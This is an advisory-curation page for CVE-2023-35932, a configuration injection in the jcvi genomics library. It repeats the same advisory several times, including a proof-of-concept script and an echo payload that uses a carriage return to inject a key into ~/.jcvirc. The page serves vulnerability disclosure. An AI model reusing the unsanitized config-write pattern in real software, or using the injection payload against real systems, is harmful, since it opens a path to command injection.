Staging Environment: Content and features may be unstable or change without notice.

Advisory Package Curation

CVE-2023-35932

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-x49m-3cw7-gq5q

jcvi vulnerable to Configuration Injection due to unsanitized user input ### Summary A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. ### PoC The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41 https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`. ```python fullpath = input(msg).strip() config.set(PATH, name, fullpath) ``` I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances. ```python from configparser import ( ConfigParser, RawConfigParser, NoOptionError, NoSectionError, ParsingError, ) import errno import os import sys import os.path as op import shutil import signal import sys import logging def is_exe(fpath): return op.isfile(fpath) and os.access(fpath, os.X_OK) def which(program): """ Emulates the unix which command. >>> which("cat") "/bin/cat" >>> which("nosuchprogram") """ fpath, fname = op.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = op.join(path, program) if is_exe(exe_file): return exe_file return None def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"): """ Get install locations of common binaries First, check ~/.jcvirc file to get the full path If not present, ask on the console and store """ p = which(cmd) # if in PATH, just returns it if p: return p PATH = "Path" config = RawConfigParser() cfg = op.expanduser(cfg) changed = False if op.exists(cfg): config.read(cfg) assert name is not None, "Need a program name" try: fullpath = config.get(PATH, name) except NoSectionError: config.add_section(PATH) changed = True try: fullpath = config.get(PATH, name) except NoOptionError: msg = "=== Configure path for {0} ===\n".format(name, cfg) if url: msg += "URL: {0}\n".format(url) msg += "[Directory that contains `{0}`]: ".format(cmd) fullpath = input(msg).strip() config.set(PATH, name, fullpath) changed = True path = op.join(op.expanduser(fullpath), cmd) if warn == "exit": try: assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path) except AssertionError as e: sys.exit("{0!s}Please verify and rerun.".format(e)) if changed: configfile = open(cfg, "w") config.write(configfile) logging.debug("Configuration written to `{0}`.".format(cfg)) return path # Call to getpath path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn") print(path) ``` To run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, ```bash # Run the PoC with the payload echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py ``` !image https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png You can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected. ### Impact The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

gitlab/pypi/jcvi/CVE-2023-35932

Improper Validation of Specified Quantity in Input jcvi is a Python library to facilitate genome assembly, annotation, and comparative genomics. A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values. This vulnerability does not currently have a fix.

pypa/jcvi/PYSEC-2026-1470

jcvi vulnerable to Configuration Injection due to unsanitized user input ### Summary A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. ### PoC The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41 https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`. ```python fullpath = input(msg).strip() config.set(PATH, name, fullpath) ``` I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances. ```python from configparser import ( ConfigParser, RawConfigParser, NoOptionError, NoSectionError, ParsingError, ) import errno import os import sys import os.path as op import shutil import signal import sys import logging def is_exe(fpath): return op.isfile(fpath) and os.access(fpath, os.X_OK) def which(program): """ Emulates the unix which command. >>> which("cat") "/bin/cat" >>> which("nosuchprogram") """ fpath, fname = op.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = op.join(path, program) if is_exe(exe_file): return exe_file return None def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"): """ Get install locations of common binaries First, check ~/.jcvirc file to get the full path If not present, ask on the console and store """ p = which(cmd) # if in PATH, just returns it if p: return p PATH = "Path" config = RawConfigParser() cfg = op.expanduser(cfg) changed = False if op.exists(cfg): config.read(cfg) assert name is not None, "Need a program name" try: fullpath = config.get(PATH, name) except NoSectionError: config.add_section(PATH) changed = True try: fullpath = config.get(PATH, name) except NoOptionError: msg = "=== Configure path for {0} ===\n".format(name, cfg) if url: msg += "URL: {0}\n".format(url) msg += "[Directory that contains `{0}`]: ".format(cmd) fullpath = input(msg).strip() config.set(PATH, name, fullpath) changed = True path = op.join(op.expanduser(fullpath), cmd) if warn == "exit": try: assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path) except AssertionError as e: sys.exit("{0!s}Please verify and rerun.".format(e)) if changed: configfile = open(cfg, "w") config.write(configfile) logging.debug("Configuration written to `{0}`.".format(cfg)) return path # Call to getpath path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn") print(path) ``` To run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, ```bash # Run the PoC with the payload echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py ``` !image https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png You can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected. ### Impact The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

pysec/PYSEC-2026-1470

jcvi vulnerable to Configuration Injection due to unsanitized user input ### Summary A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. ### PoC The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41 https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`. ```python fullpath = input(msg).strip() config.set(PATH, name, fullpath) ``` I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances. ```python from configparser import ( ConfigParser, RawConfigParser, NoOptionError, NoSectionError, ParsingError, ) import errno import os import sys import os.path as op import shutil import signal import sys import logging def is_exe(fpath): return op.isfile(fpath) and os.access(fpath, os.X_OK) def which(program): """ Emulates the unix which command. >>> which("cat") "/bin/cat" >>> which("nosuchprogram") """ fpath, fname = op.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = op.join(path, program) if is_exe(exe_file): return exe_file return None def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"): """ Get install locations of common binaries First, check ~/.jcvirc file to get the full path If not present, ask on the console and store """ p = which(cmd) # if in PATH, just returns it if p: return p PATH = "Path" config = RawConfigParser() cfg = op.expanduser(cfg) changed = False if op.exists(cfg): config.read(cfg) assert name is not None, "Need a program name" try: fullpath = config.get(PATH, name) except NoSectionError: config.add_section(PATH) changed = True try: fullpath = config.get(PATH, name) except NoOptionError: msg = "=== Configure path for {0} ===\n".format(name, cfg) if url: msg += "URL: {0}\n".format(url) msg += "[Directory that contains `{0}`]: ".format(cmd) fullpath = input(msg).strip() config.set(PATH, name, fullpath) changed = True path = op.join(op.expanduser(fullpath), cmd) if warn == "exit": try: assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path) except AssertionError as e: sys.exit("{0!s}Please verify and rerun.".format(e)) if changed: configfile = open(cfg, "w") config.write(configfile) logging.debug("Configuration written to `{0}`.".format(cfg)) return path # Call to getpath path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn") print(path) ``` To run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, ```bash # Run the PoC with the payload echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py ``` !image https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png You can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected. ### Impact The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.